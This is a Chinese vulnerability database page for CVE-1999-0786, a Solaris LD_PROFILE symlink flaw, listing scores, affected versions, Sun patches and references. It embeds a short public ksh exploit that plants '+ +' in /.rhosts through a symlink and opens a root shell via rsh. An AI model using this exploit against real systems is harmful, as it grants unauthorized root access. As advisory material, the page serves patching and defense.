CVE-1999-0786
CVSS4.6
发布时间 :1999-09-22 00:00:00
修订时间 :2008-09-09 08:35:38
NMCOE    

[原文]The dynamic linker in Solaris allows a local user to create arbitrary files via the LD_PROFILE environmental variable and a symlink attack.


[CNNVD]Solaris配置文件创建漏洞(CNNVD-199909-039)

        Solaris的动态链接器存在漏洞。本地用户可以借助LD_PROFILE环境变量和符号链接攻击创建任意文件。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:2.5::x86
cpe:/o:sun:solaris:2.5
cpe:/o:sun:solaris:2.6
cpe:/o:sun:solaris:2.4
cpe:/o:sun:solaris:2.6::x86
cpe:/o:sun:solaris:2.4::x86
cpe:/o:sun:solaris:2.5.1::x86
cpe:/o:sun:solaris:2.5.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0786
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0786
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199909-039
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/659
(UNKNOWN)  BID  659

- 漏洞信息

Solaris配置文件创建漏洞
中危 未知
1999-09-22 00:00:00 2005-05-02 00:00:00
本地  
        Solaris的动态链接器存在漏洞。本地用户可以借助LD_PROFILE环境变量和符号链接攻击创建任意文件。

- 公告与补丁

        Patches are available to all Sun customers at
        http://sunsolve.sun.com
        Sun Solaris 2.4 _x86
        

  •         Sun 102304-05x86
            

  •         

        Sun Solaris 2.4
        

  •         Sun 102049-05sparc
            

  •         

        Sun Solaris 2.5
        

  •         Sun 103242-07sparc
            

  •         

        Sun Solaris 2.5 _x86
        

  •         Sun 103243-07x86
            

  •         

        Sun Solaris 2.5.1 _x86
        

  •         Sun 103628-10x86
            

  •         

        Sun Solaris 2.5.1
        

  •         Sun 103627-11sparc
            

  •         

        Sun Solaris 2.6
        

  •         Sun 105490-07sparc
            

  •         

  •         Sun 105491-05sparc
            

  •         

- 漏洞信息 (19509)

Solaris <= 2.6 Profiling File Creation Vulnerability (EDBID:19509)
solaris local
1999-09-22 Verified
0 Steve Mynott
N/A [点击下载]
source: http://www.securityfocus.com/bid/659/info

A vulnerability in the dynamic linkers while profiling a shared object allows local users to create arbitrary files in the system. It canno't be used to overwrite existing files.

If the LD_PROFILE environment variable is defined it instructs the dynamic linker to profile the shared object defined by it. When profiling is enabled, a profiling buffer file is created and mapped. The name of the buffer file is the name of the shared object being profiled with a .profile extension. By default this buffer is placed under /var/tmp.

The dynamic linker created the buffer file insecurely in the case where it runs in the context of a setuid application. It follows symbolic links while creating the file.

This is Sun BugID 4150646. This is the same bug as Sun BugID 1241843. The new instance was introduced after an extensive rewrite of the dynamic linker. The problem was originally fixed in Solaris 2.5.1 and back patched. It was reintroduced in 2.6 and back patched into 2.5.1. 

#! /bin/ksh
# LD_PROFILE local root exploit for solaris
# steve@tightrope.demon.co.uk 19990922
umask 000
ln -s /.rhosts /var/tmp/ps.profile
export LD_PROFILE=/usr/bin/ps
/usr/bin/ps
echo + + > /.rhosts
rsh -l root localhost csh -i


		

- 漏洞信息

1084
Solaris Profiling LD_PROFILE Symlink Arbitrary File Creation
Local Access Required Race Condition
Loss of Integrity Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

1999-09-22 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2.7 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站